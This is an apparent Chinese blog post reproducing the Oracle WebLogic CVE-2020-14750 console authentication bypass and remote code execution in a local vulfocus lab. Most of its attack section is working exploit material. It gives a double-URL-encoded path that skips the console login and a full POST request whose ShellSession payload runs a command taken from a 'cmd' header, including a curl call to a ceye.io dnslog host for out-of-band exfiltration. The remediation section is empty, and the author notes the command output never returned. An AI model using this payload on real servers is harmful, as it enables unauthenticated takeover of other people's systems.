Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现
漏洞名称漏洞描述影响版本 漏洞复现环境搭建漏洞利用修复建议
漏洞名称
漏洞描述
Oracle Fusion Middleware的Oracle WebLogic Server产品中的漏洞(组件:控制台),允许未经身份验证的攻击者通过HTTP访问网络,从而导致Oracle WebLogic Server被接管。
影响版本
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
漏洞复现
环境搭建
受害者IP:
192.168.63.129:7001
192.168.63.129:7002
192.168.63.1295556
攻击者IP:
192.168.63.1
vulfocus下载链接
https://github.com/fofapro/vulfocusgit clone https://github.com/fofapro/vulfocus.git
启动vulfocus
docker-compose up -d
环境启动后,访问http://192.168.63.129:7001/console/login/LoginForm.jsp,说明已成功启动。
漏洞利用
需要注意的是,需要我们先登录才行,不登陆就无法进行未授权,weblogic/welcome1。这里我是在虚拟机里面进行登录的,下面的验证是在本机进行验证的。
在虚拟机登录成功。
访问经过二次编码的url,发现有些浏览器可以绕过登录,比如火狐浏览器或者谷歌浏览器。
http://192.168.63.129:7001/console/css/%252e%252e%252fconsole.portal
但是,使用其他浏览器发现绕过失败,使用下面的payload可以绕过。
http://192.168.63.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=DomainConfigGeneralPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
通过burp抓包,使用post请求方式进行任意命令执行,在响应体中返回302和localtion跳转信息。在请求头字段cmd加入payload,使用dnslog平台dns带外进行命令执行,
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1Host: 192.168.63.129:7001Content-Type: application/x-www-form-urlencodedContent-Length: 1364cmd: whoami&curl {{*.ceye.io}}_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();\x0d\x0aweblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();\x0d\x0ajava.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\");\x0d\x0afield.setAccessible(true);\x0d\x0aObject obj = field.get(adapter);\x0d\x0aweblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod(\"getServletRequest\").invoke(obj);\x0d\x0aString cmd = req.getHeader(\"cmd\");\x0d\x0aString[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\x0d\x0aif (cmd != null) {\x0d\x0a String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next();\x0d\x0a weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod(\"getResponse\").invoke(req);\x0d\x0a res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));\x0d\x0a res.getServletOutputStream().flush();\x0d\x0a res.getWriter().write(\"\");\x0d\x0a}executeThread.interrupt();
在dnslog平台中返回信息,但是没有返回whoami的信息,具体什么原因未知,博主这里没有进一步测试,查看资料msf可以进行命令执行,有兴趣的小伙伴可以试一下。这里后续在补充。
修复建议
1、懒得写,后续在补充